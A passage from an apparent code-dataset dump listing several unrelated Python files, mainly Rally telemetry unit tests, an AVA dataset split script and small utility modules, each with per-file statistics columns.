"FCFjozkeTiOpN-SI88YEcg": {
"name": "rally0",
"host": "127.0.0.1",
"ip": "127.0.0.1",
"os": {
"name": "Mac OS X",
"version": "10.11.4",
"available_processors": 8,
"mem": {
"total_in_bytes": 17179869184
}
},
"jvm": {
"version": "1.8.0_74",
"vm_vendor": "Oracle Corporation"
}
}
}
}
cluster_info = {
"version":
{
"build_hash": "c730b59357f8ebc555286794dcd90b3411f517c9",
"number": "1.7.5"
}
}
client = Client(nodes=SubClient(stats=nodes_stats, info=nodes_info), info=cluster_info)
t = telemetry.Telemetry(devices=[telemetry.ClusterMetaDataInfo(client)])
c = cluster.Cluster(hosts=[{"host": "localhost", "port": 39200}],
nodes=[cluster.Node(process=None, host_name="local", node_name="rally0", telemetry=None)],
telemetry=t)
t.attach_to_cluster(c)
self.assertEqual("1.7.5", c.distribution_version)
self.assertEqual("c730b59357f8ebc555286794dcd90b3411f517c9", c.source_revision)
self.assertEqual(1, len(c.nodes))
n = c.nodes[0]
self.assertEqual("127.0.0.1", n.ip)
self.assertEqual("Mac OS X", n.os["name"])
self.assertEqual("10.11.4", n.os["version"])
self.assertEqual("Oracle Corporation", n.jvm["vendor"])
self.assertEqual("1.8.0_74", n.jvm["version"])
self.assertEqual(8, n.cpu["available_processors"])
self.assertIsNone(n.cpu["allocated_processors"])
self.assertEqual(17179869184, n.memory["total_bytes"])
self.assertEqual(2, len(n.fs))
self.assertEqual("/usr/local/var/elasticsearch/data1", n.fs[0]["mount"])
self.assertEqual("hfs", n.fs[0]["type"])
self.assertEqual("unknown", n.fs[0]["spins"])
self.assertEqual("/usr/local/var/elasticsearch/data2", n.fs[1]["mount"])
self.assertEqual("ntfs", n.fs[1]["type"])
self.assertEqual("unknown", n.fs[1]["spins"])
class GcTimesSummaryTests(TestCase):
@mock.patch("esrally.metrics.EsMetricsStore.put_value_cluster_level")
@mock.patch("esrally.metrics.EsMetricsStore.put_value_node_level")
def test_stores_only_diff_of_gc_times(self, metrics_store_node_level, metrics_store_cluster_level):
nodes_stats_at_start = {
"nodes": {
"FCFjozkeTiOpN-SI88YEcg": {
"name": "rally0",
"host": "127.0.0.1",
"jvm": {
"gc": {
"collectors": {
"old": {
"collection_time_in_millis": 1000
},
"young": {
"collection_time_in_millis": 500
}
}
}
}
}
}
}
client = Client(nodes=SubClient(nodes_stats_at_start))
cfg = create_config()
metrics_store = metrics.EsMetricsStore(cfg)
device = telemetry.GcTimesSummary(client, metrics_store)
t = telemetry.Telemetry(cfg, devices=[device])
t.on_benchmark_start()
# now we'd need to change the node stats response
nodes_stats_at_end = {
"nodes": {
"FCFjozkeTiOpN-SI88YEcg": {
"name": "rally0",
"host": "127.0.0.1",
"jvm": {
"gc": {
"collectors": {
"old": {
"collection_time_in_millis": 2500
},
"young": {
"collection_time_in_millis": 1200
}
}
}
}
}
}
}
client.nodes = SubClient(nodes_stats_at_end)
t.on_benchmark_stop()
metrics_store_node_level.assert_has_calls([
mock.call("rally0", "node_young_gen_gc_time", 700, "ms"),
mock.call("rally0", "node_old_gen_gc_time", 1500, "ms")
])
metrics_store_cluster_level.assert_has_calls([
mock.call("node_total_young_gen_gc_time", 700, "ms"),
mock.call("node_total_old_gen_gc_time", 1500, "ms")
])
class IndexStatsTests(TestCase):
@mock.patch("esrally.metrics.EsMetricsStore.put_value_cluster_level")
@mock.patch("esrally.metrics.EsMetricsStore.put_count_cluster_level")
def test_stores_available_index_stats(self, metrics_store_cluster_count, metrics_store_cluster_value):
client = Client(indices=SubClient({
"_all": {
"primaries": {
"segments": {
"count": 0
},
"merges": {
"total_time_in_millis": 0,
"total_throttled_time_in_millis": 0
},
"indexing": {
"index_time_in_millis": 0
},
"refresh": {
"total_time_in_millis": 0
},
"flush": {
"total_time_in_millis": 0
}
}
}
}))
cfg = create_config()
metrics_store = metrics.EsMetricsStore(cfg)
device = telemetry.IndexStats(client, metrics_store)
t = telemetry.Telemetry(cfg, devices=[device])
t.on_benchmark_start()
client.indices = SubClient({
"_all": {
"primaries": {
"segments": {
"count": 5,
"memory_in_bytes": 2048,
"stored_fields_memory_in_bytes": 1024,
"doc_values_memory_in_bytes": 128,
"terms_memory_in_bytes": 256,
"points_memory_in_bytes": 512
},
"merges": {
"total_time_in_millis": 300,
"total_throttled_time_in_millis": 120
},
"indexing": {
"index_time_in_millis": 2000
},
"refresh": {
"total_time_in_millis": 200
},
"flush": {
"total_time_in_millis": 100
}
},
"total": {
"store": {
"size_in_bytes": 2113867510
},
"translog": {
"operations": 6840000,
"size_in_bytes": 2647984713,
"uncommitted_operations": 0,
"uncommitted_size_in_bytes": 430
}
}
}
})
t.on_benchmark_stop()
metrics_store_cluster_count.assert_has_calls([
mock.call("segments_count", 5)
])
metrics_store_cluster_value.assert_has_calls([
mock.call("segments_memory_in_bytes", 2048, "byte"),
mock.call("merges_total_time", 300, "ms"),
mock.call("merges_total_throttled_time", 120, "ms"),
mock.call("indexing_total_time", 2000, "ms"),
mock.call("refresh_total_time", 200, "ms"),
mock.call("flush_total_time", 100, "ms"),
mock.call("segments_doc_values_memory_in_bytes", 128, "byte"),
mock.call("segments_stored_fields_memory_in_bytes", 1024, "byte"),
mock.call("segments_terms_memory_in_bytes", 256, "byte"),
# we don't have norms, so nothing should have been called
mock.call("store_size_in_bytes", 2113867510, "byte"),
mock.call("translog_size_in_bytes", 2647984713, "byte"),
], any_order=True)
@mock.patch("esrally.metrics.EsMetricsStore.put_value_cluster_level")
@mock.patch("esrally.metrics.EsMetricsStore.put_count_cluster_level")
def test_index_stats_are_per_lap(self, metrics_store_cluster_count, metrics_store_cluster_value):
client = Client(indices=SubClient({
"_all": {
"primaries": {
"segments": {
"count": 0
},
"merges": {
"total_time_in_millis": 0,
"total_throttled_time_in_millis": 0
},
"indexing": {
"index_time_in_millis": 0
},
"refresh": {
"total_time_in_millis": 0
},
"flush": {
"total_time_in_millis": 0
}
}
}
}))
cfg = create_config()
metrics_store = metrics.EsMetricsStore(cfg)
device = telemetry.IndexStats(client, metrics_store)
t = telemetry.Telemetry(cfg, devices=[device])
# lap 1
t.on_benchmark_start()
client.indices = SubClient({
"_all": {
"primaries": {
"segments": {
"count": 5,
"memory_in_bytes": 2048,
"stored_fields_memory_in_bytes": 1024,
"doc_values_memory_in_bytes": 128,
"terms_memory_in_bytes": 256
},
"merges": {
"total_time_in_millis": 300,
"total_throttled_time_in_millis": 120
},
"indexing": {
"index_time_in_millis": 2000
},
"refresh": {
"total_time_in_millis": 200
},
"flush": {
"total_time_in_millis": 100
}
}
}
})
t.on_benchmark_stop()
# lap 2
t.on_benchmark_start()
client.indices = SubClient({
"_all": {
"primaries": {
"segments": {
"count": 7,
"memory_in_bytes": 2048,
"stored_fields_memory_in_bytes": 1024,
"doc_values_memory_in_bytes": 128,
"terms_memory_in_bytes": 256
},
"merges": {
"total_time_in_millis": 900,
"total_throttled_time_in_millis": 120
},
"indexing": {
"index_time_in_millis": 8000
},
"refresh": {
"total_time_in_millis": 500
},
"flush": {
"total_time_in_millis": 300
}
}
}
})
t.on_benchmark_stop()
metrics_store_cluster_value.assert_has_calls([
# 1st lap
mock.call("segments_memory_in_bytes", 2048, "byte"),
mock.call("merges_total_time", 300, "ms"),
mock.call("merges_total_throttled_time", 120, "ms"),
mock.call("indexing_total_time", 2000, "ms"),
mock.call("refresh_total_time", 200, "ms"),
mock.call("flush_total_time", 100, "ms"),
mock.call("segments_doc_values_memory_in_bytes", 128, "byte"),
mock.call("segments_stored_fields_memory_in_bytes", 1024, "byte"),
mock.call("segments_terms_memory_in_bytes", 256, "byte"),
# we don't have norms or points, so nothing should have been called
# 2nd lap
mock.call("segments_memory_in_bytes", 2048, "byte"),
mock.call("merges_total_time", 900, "ms"),
mock.call("merges_total_throttled_time", 120, "ms"),
mock.call("indexing_total_time", 8000, "ms"),
mock.call("refresh_total_time", 500, "ms"),
mock.call("flush_total_time", 300, "ms"),
mock.call("segments_doc_values_memory_in_bytes", 128, "byte"),
mock.call("segments_stored_fields_memory_in_bytes", 1024, "byte"),
mock.call("segments_terms_memory_in_bytes", 256, "byte"),
], any_order=True)
class IndexSizeTests(TestCase):
@mock.patch("esrally.utils.io.get_size")
@mock.patch("esrally.metrics.EsMetricsStore.put_count_node_level")
@mock.patch("esrally.utils.process.run_subprocess_with_logging")
def test_stores_index_size_for_data_paths(self, run_subprocess, metrics_store_node_count, get_size):
get_size.side_effect = [2048, 16384]
cfg = create_config()
metrics_store = metrics.EsMetricsStore(cfg)
device = telemetry.IndexSize(["/var/elasticsearch/data/1", "/var/elasticsearch/data/2"], metrics_store)
t = telemetry.Telemetry(enabled_devices=[], devices=[device])
node = cluster.Node(process=None, host_name="localhost", node_name="rally-node-0", telemetry=t)
t.attach_to_node(node)
t.on_benchmark_start()
t.on_benchmark_stop()
t.detach_from_node(node, running=True)
t.detach_from_node(node, running=False)
metrics_store_node_count.assert_has_calls([
mock.call("rally-node-0", "final_index_size_bytes", 18432, "byte")
])
run_subprocess.assert_has_calls([
mock.call("find /var/elasticsearch/data/1 -ls", header="index files:"),
mock.call("find /var/elasticsearch/data/2 -ls", header="index files:")
])
@mock.patch("esrally.utils.io.get_size")
@mock.patch("esrally.metrics.EsMetricsStore.put_count_cluster_level")
@mock.patch("esrally.utils.process.run_subprocess_with_logging")
def test_stores_nothing_if_no_data_path(self, run_subprocess, metrics_store_cluster_count, get_size):
get_size.return_value = 2048
cfg = create_config()
metrics_store = metrics.EsMetricsStore(cfg)
device = telemetry.IndexSize(data_paths=[], metrics_store=metrics_store)
t = telemetry.Telemetry(devices=[device])
node = cluster.Node(process=None, host_name="localhost", node_name="rally-node-0", telemetry=t)
t.attach_to_node(node)
t.on_benchmark_start()
t.on_benchmark_stop()
t.detach_from_node(node, running=True)
t.detach_from_node(node, running=False)
self.assertEqual(0, run_subprocess.call_count)
self.assertEqual(0, metrics_store_cluster_count.call_count)
self.assertEqual(0, get_size.call_count)
| 45.217523
| 136
| 0.510841
| 5,743
| 59,868
| 5.044924
| 0.093853
| 0.038657
| 0.034791
| 0.037
| 0.830497
| 0.795189
| 0.7663
| 0.736962
| 0.70262
| 0.676975
| 0
| 0.040397
| 0.371501
| 59,868
| 1,323
| 137
| 45.251701
| 0.729609
| 0.0077
| 0
| 0.591479
| 0
| 0.005848
| 0.264358
| 0.129072
| 0
| 0
| 0
| 0
| 0.060986
| 1
| 0.02924
| false
| 0.000835
| 0.005013
| 0.003342
| 0.051796
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
0b79a6f5aabd8e8133e9fd7e5bac9d7f83f7fc48
| 143
|
py
|
Python
|
papero/converter.py
|
atolab/papero
|
afe7fcb489527ac2046c90b4cf120d2ba8996ea5
|
[
"Apache-2.0"
] | 2
|
2019-07-30T09:04:51.000Z
|
2019-07-31T06:36:22.000Z
|
papero/converter.py
|
atolab/papero
|
afe7fcb489527ac2046c90b4cf120d2ba8996ea5
|
[
"Apache-2.0"
] | null | null | null |
papero/converter.py
|
atolab/papero
|
afe7fcb489527ac2046c90b4cf120d2ba8996ea5
|
[
"Apache-2.0"
] | null | null | null |
def int_to_byte(i):
return i.to_bytes(1, byteorder='big')
def byte_to_int(b):
return int.from_bytes(b, byteorder='big', signed=False)
| 23.833333
| 59
| 0.706294
| 26
| 143
| 3.653846
| 0.538462
| 0.252632
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.00813
| 0.13986
| 143
| 5
| 60
| 28.6
| 0.764228
| 0
| 0
| 0
| 0
| 0
| 0.041958
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 6
|
0b95bbf33678bca36f1af362d406ee5fd07e0eca
| 5,291
|
py
|
Python
|
data/AVA/generate_splits.py
|
pedro-abreu/twostream-attention
|
60a47c50b8f2427911e5e30fd6c6f933dbf08a4e
|
[
"MIT"
] | 10
|
2018-10-26T05:19:15.000Z
|
2019-02-02T03:39:29.000Z
|
data/AVA/generate_splits.py
|
pedro-abreu/twostream-attention
|
60a47c50b8f2427911e5e30fd6c6f933dbf08a4e
|
[
"MIT"
] | 2
|
2018-11-14T05:03:56.000Z
|
2019-02-19T09:06:52.000Z
|
data/AVA/generate_splits.py
|
pedro-abreu/twostream-attention
|
60a47c50b8f2427911e5e30fd6c6f933dbf08a4e
|
[
"MIT"
] | 3
|
2018-11-14T05:12:24.000Z
|
2019-03-02T15:01:15.000Z
|
# TESTING SPLIT COMES FROM THE END OF THE TRAINING SPLIT
# TRAINING AND VAL ARE JUST SUBSETS OF MINI_SPLIT_X_BIG
import csv
import numpy as np
def writeCSV(filename, videoName, keyFrame, bb, action):
csvLine = videoName + ',' + keyFrame + ',' + str(bb[0]) + ',' + str(bb[1]) + ',' + str(bb[2]) + ',' + str(bb[3]) + ',' + str(action) + '\n'
with open(filename, 'a') as f:
f.write(csvLine)
return
TRAINSPLIT = "AVA_Train_Custom.csv"
VALSPLIT = "AVA_Val_Custom.csv"
TESTSPLIT = "AVA_Test_Custom.csv"
NEWTRAINSPLIT = "AVA_Train_Custom_Corrected.csv"
NEWVALSPLIT = "AVA_Val_Custom_Corrected.csv"
NEWTESTSPLIT = "AVA_Test_Custom_Corrected.csv"
FINALNUMBEROFLINES = 2**14 # 16384
snippets_video = []
snippets_time = []
snippets_bb = []
snippets_actions = []
with open(TESTSPLIT) as csvDataFile:
csvReader = csv.reader(csvDataFile)
for row in csvReader:
snippets_video.append(row[0])
snippets_time.append(row[1])
snippets_bb.append(np.array([float(row[2]), float(row[3]), float(row[4]), float(row[5])])) # xmin,ymin,xmax,ymax
snippets_actions.append(row[6])
snippets_actions = snippets_actions[1:FINALNUMBEROFLINES]
actions = np.array([int(i) for i in snippets_actions])
hist, b = np.histogram(actions, 80)
trueClasses = [index + 1 for index, value in enumerate(hist) if value >= 15]
removedClasses = [index + 1 for index, value in enumerate(hist) if value < 15]
removedPoses = [i for i in removedClasses if i < 14]
#poseClasses = np.arange(1,15)
# trueClasses = list(np.union1d(poseClasses,trueClasses)) #Never remove a pose class!
newClasses = np.arange(1, len(trueClasses) + 1)
# Now generate CSV's without the forbidden Classes
# To get corrected class do trueClasses.index(oldClass) + 1
# CORRECT TRAINING
snippets_video = []
snippets_time = []
snippets_bb = []
snippets_actions = []
with open(TRAINSPLIT) as csvDataFile:
csvReader = csv.reader(csvDataFile)
for row in csvReader:
snippets_video.append(row[0])
snippets_time.append(row[1])
snippets_bb.append(np.array([float(row[2]), float(row[3]), float(row[4]), float(row[5])])) # xmin,ymin,xmax,ymax
snippets_actions.append(row[6])
snippets_video = snippets_video[1:FINALNUMBEROFLINES]
snippets_time = snippets_time[1:FINALNUMBEROFLINES]
snippets_bb = snippets_bb[1:FINALNUMBEROFLINES]
snippets_actions = snippets_actions[1:FINALNUMBEROFLINES]
i = 0
while(i < len(snippets_actions)):
action = int(snippets_actions[i])
if action in trueClasses:
newAction = trueClasses.index(action) + 1
writeCSV(NEWTRAINSPLIT, snippets_video[i], snippets_time[i], snippets_bb[i], newAction)
elif action in removedPoses:
# Remove all actions corresponding to this bb
currentbb = snippets_bb[i].tolist()
while(currentbb == snippets_bb[i].tolist()):
i += 1
i -= 1
i += 1
# CORRECT VAL
snippets_video = []
snippets_time = []
snippets_bb = []
snippets_actions = []
with open(VALSPLIT) as csvDataFile:
csvReader = csv.reader(csvDataFile)
for row in csvReader:
snippets_video.append(row[0])
snippets_time.append(row[1])
snippets_bb.append(np.array([float(row[2]), float(row[3]), float(row[4]), float(row[5])])) # xmin,ymin,xmax,ymax
snippets_actions.append(row[6])
snippets_video = snippets_video[1:FINALNUMBEROFLINES]
snippets_time = snippets_time[1:FINALNUMBEROFLINES]
snippets_bb = snippets_bb[1:FINALNUMBEROFLINES]
snippets_actions = snippets_actions[1:FINALNUMBEROFLINES]
i = 0
while(i < len(snippets_actions)):
action = int(snippets_actions[i])
if action in trueClasses:
newAction = trueClasses.index(action) + 1
writeCSV(NEWVALSPLIT, snippets_video[i], snippets_time[i], snippets_bb[i], newAction)
elif action in removedPoses:
# Remove all actions corresponding to this bb
currentbb = snippets_bb[i].tolist()
while(currentbb == snippets_bb[i].tolist()):
i += 1
i -= 1
i += 1
# CORRECT TEST
snippets_video = []
snippets_time = []
snippets_bb = []
snippets_actions = []
with open(TESTSPLIT) as csvDataFile:
csvReader = csv.reader(csvDataFile)
for row in csvReader:
snippets_video.append(row[0])
snippets_time.append(row[1])
snippets_bb.append(np.array([float(row[2]), float(row[3]), float(row[4]), float(row[5])])) # xmin,ymin,xmax,ymax
snippets_actions.append(row[6])
snippets_video = snippets_video[1:FINALNUMBEROFLINES]
snippets_time = snippets_time[1:FINALNUMBEROFLINES]
snippets_bb = snippets_bb[1:FINALNUMBEROFLINES]
snippets_actions = snippets_actions[1:FINALNUMBEROFLINES]
i = 0
while(i < len(snippets_actions)):
action = int(snippets_actions[i])
if action in trueClasses:
newAction = trueClasses.index(action) + 1
writeCSV(NEWTESTSPLIT, snippets_video[i], snippets_time[i], snippets_bb[i], newAction)
elif action in removedPoses:
# Remove all actions corresponding to this bb
currentbb = snippets_bb[i].tolist()
while(currentbb == snippets_bb[i].tolist()):
i += 1
i -= 1
i += 1
| 36.743056
| 144
| 0.674353
| 683
| 5,291
| 5.080527
| 0.172767
| 0.066282
| 0.070029
| 0.034582
| 0.746974
| 0.746974
| 0.735159
| 0.735159
| 0.735159
| 0.735159
| 0
| 0.020171
| 0.203553
| 5,291
| 143
| 145
| 37
| 0.803275
| 0.110943
| 0
| 0.778761
| 0
| 0
| 0.033686
| 0.019155
| 0
| 0
| 0
| 0
| 0
| 1
| 0.00885
| false
| 0
| 0.017699
| 0
| 0.035398
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
f03f5f21525a91cf4328dae2cfa9614c6a838766
| 212
|
py
|
Python
|
flask_kits1/restful/__init__.py
|
by46/coffee
|
f12e1e95f12da7e322a432a6386a1147c5549c3b
|
[
"MIT"
] | null | null | null |
flask_kits1/restful/__init__.py
|
by46/coffee
|
f12e1e95f12da7e322a432a6386a1147c5549c3b
|
[
"MIT"
] | null | null | null |
flask_kits1/restful/__init__.py
|
by46/coffee
|
f12e1e95f12da7e322a432a6386a1147c5549c3b
|
[
"MIT"
] | null | null | null |
from .filter import filter_params
from .meta import Meta
from .pagination import Paginate
from .resource import BusinessResource
from .resource import WxBusinessResource
from .swagger import post_parameter
| 30.285714
| 41
| 0.830189
| 26
| 212
| 6.692308
| 0.5
| 0.137931
| 0.206897
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.141509
| 212
| 6
| 42
| 35.333333
| 0.956044
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
33122adee63f34acfdb8189a7c86278c61ee307e
| 40
|
py
|
Python
|
torchvex/simple_grad/__init__.py
|
vlue-c/Visual-Explanation-Methods-PyTorch
|
e3eb592fe3aa0c719ef3e5d0f75238a2a3e84c3d
|
[
"MIT"
] | 4
|
2021-11-22T04:43:27.000Z
|
2022-03-24T12:25:01.000Z
|
torchvex/simple_grad/__init__.py
|
vlue-c/PyTorch-Explanations
|
e3eb592fe3aa0c719ef3e5d0f75238a2a3e84c3d
|
[
"MIT"
] | null | null | null |
torchvex/simple_grad/__init__.py
|
vlue-c/PyTorch-Explanations
|
e3eb592fe3aa0c719ef3e5d0f75238a2a3e84c3d
|
[
"MIT"
] | 1
|
2021-11-22T04:43:28.000Z
|
2021-11-22T04:43:28.000Z
|
from .simple_grad import SimpleGradient
| 20
| 39
| 0.875
| 5
| 40
| 6.8
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1
| 40
| 1
| 40
| 40
| 0.944444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
33411f8d74f91c43c5ebb7fe4d119fd26b757e9f
| 21
|
py
|
Python
|
frappe/modules/__init__.py
|
Don-Leopardo/frappe
|
39097b05a7a9904776a435ee2c3d7a579d429389
|
[
"MIT"
] | 3,755
|
2015-01-06T07:47:43.000Z
|
2022-03-31T20:54:23.000Z
|
frappe/modules/__init__.py
|
JMBodz/frappe
|
eb218a06d1cbfc3a8f1cc00ba8dac2c927d2f71d
|
[
"MIT"
] | 7,369
|
2015-01-01T19:59:41.000Z
|
2022-03-31T23:02:05.000Z
|
frappe/modules/__init__.py
|
JMBodz/frappe
|
eb218a06d1cbfc3a8f1cc00ba8dac2c927d2f71d
|
[
"MIT"
] | 2,685
|
2015-01-07T17:51:03.000Z
|
2022-03-31T23:16:24.000Z
|
from .utils import *
| 10.5
| 20
| 0.714286
| 3
| 21
| 5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.190476
| 21
| 2
| 20
| 10.5
| 0.882353
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
6825610e14c229205b6916088839421c28a0bd62
| 143
|
py
|
Python
|
cocoa/runtemplate.py
|
hsoft/guiskel
|
fcdc8a1b949738524efe3f0495aba049ed72d212
|
[
"BSD-3-Clause"
] | 3
|
2015-07-30T01:52:07.000Z
|
2018-02-15T21:40:49.000Z
|
cocoa/runtemplate.py
|
hsoft/guiskel
|
fcdc8a1b949738524efe3f0495aba049ed72d212
|
[
"BSD-3-Clause"
] | null | null | null |
cocoa/runtemplate.py
|
hsoft/guiskel
|
fcdc8a1b949738524efe3f0495aba049ed72d212
|
[
"BSD-3-Clause"
] | null | null | null |
import sys
import os
def main():
return os.system('open cocoa/build/release/guiskel.app')
if __name__ == '__main__':
sys.exit(main())
| 17.875
| 60
| 0.685315
| 21
| 143
| 4.285714
| 0.761905
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.160839
| 143
| 8
| 61
| 17.875
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0.305556
| 0.215278
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| true
| 0
| 0.333333
| 0.166667
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 6
|
68916e7667b40b61751b7a40a59bc8e6728507d5
| 24
|
py
|
Python
|
scanorama/__init__.py
|
ivirshup/scanorama
|
f6489723caf81f3b36df98edd5db1e6040147e8d
|
[
"MIT"
] | null | null | null |
scanorama/__init__.py
|
ivirshup/scanorama
|
f6489723caf81f3b36df98edd5db1e6040147e8d
|
[
"MIT"
] | null | null | null |
scanorama/__init__.py
|
ivirshup/scanorama
|
f6489723caf81f3b36df98edd5db1e6040147e8d
|
[
"MIT"
] | null | null | null |
from scanorama import *
| 12
| 23
| 0.791667
| 3
| 24
| 6.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 24
| 1
| 24
| 24
| 0.95
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
68a1ca06bb3aeb89618c8a8584a3161aa2e4902e
| 2,221
|
py
|
Python
|
tests/test_attributes.py
|
robinklaassen/barentsz
|
5c289d071ddf42d0a9a6c3dbd1db0bf809ae136a
|
[
"MIT"
] | 2
|
2020-09-05T12:05:59.000Z
|
2021-03-16T15:43:11.000Z
|
tests/test_attributes.py
|
robinklaassen/barentsz
|
5c289d071ddf42d0a9a6c3dbd1db0bf809ae136a
|
[
"MIT"
] | 5
|
2020-08-14T10:09:36.000Z
|
2020-09-26T11:55:37.000Z
|
tests/test_attributes.py
|
robinklaassen/barentsz
|
5c289d071ddf42d0a9a6c3dbd1db0bf809ae136a
|
[
"MIT"
] | 1
|
2020-08-17T07:18:43.000Z
|
2020-08-17T07:18:43.000Z
|
from unittest import TestCase
from barentsz._attribute import Attribute
class TestAttribute(TestCase):
def test_is_private_or_public(self):
# SETUP
attribute1 = Attribute(
name='attr',
type_=int,
value=42,
doc='some doc',
comment='some comment',
hint='int',
module=None,
assigned_value='42',
line='attr: int = 42',
line_nr=-1)
attribute2 = Attribute(
name='_attr',
type_=int,
value=42,
doc='some doc',
comment='some comment',
hint='int',
module=None,
assigned_value='42',
line='attr: int = 42',
line_nr=-1)
# EXECUTE & VERIFY
self.assertTrue(not attribute1.is_private)
self.assertTrue(attribute1.is_public)
self.assertTrue(attribute2.is_private)
self.assertTrue(not attribute2.is_public)
def test_is_constant(self):
# SETUP
attribute1 = Attribute(
name='ATTR',
type_=int,
value=42,
doc='some doc',
comment='some comment',
hint='int',
module=None,
assigned_value='42',
line='attr: int = 42',
line_nr=-1)
# EXECUTE & VERIFY
self.assertTrue(attribute1.is_constant)
def test_eq(self):
# SETUP
attribute1 = Attribute(
name='attr',
type_=int,
value=42,
doc='some doc',
comment='some comment',
hint='int',
module=None,
assigned_value='42',
line='attr: int = 42',
line_nr=-1)
attribute2 = Attribute(
name='attr',
type_=int,
value=42,
doc='some doc',
comment='some comment',
hint='int',
module=None,
assigned_value='42',
line='attr: int = 42',
line_nr=-1)
# EXECUTE & VERIFY
self.assertTrue(attribute1 is not attribute2)
self.assertTrue(attribute1 == attribute2)
| 25.825581
| 53
| 0.486718
| 214
| 2,221
| 4.915888
| 0.186916
| 0.06654
| 0.080798
| 0.09981
| 0.70057
| 0.70057
| 0.70057
| 0.70057
| 0.70057
| 0.70057
| 0
| 0.037234
| 0.407474
| 2,221
| 85
| 54
| 26.129412
| 0.762158
| 0.030617
| 0
| 0.779412
| 0
| 0
| 0.100652
| 0
| 0
| 0
| 0
| 0
| 0.102941
| 1
| 0.044118
| false
| 0
| 0.029412
| 0
| 0.088235
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.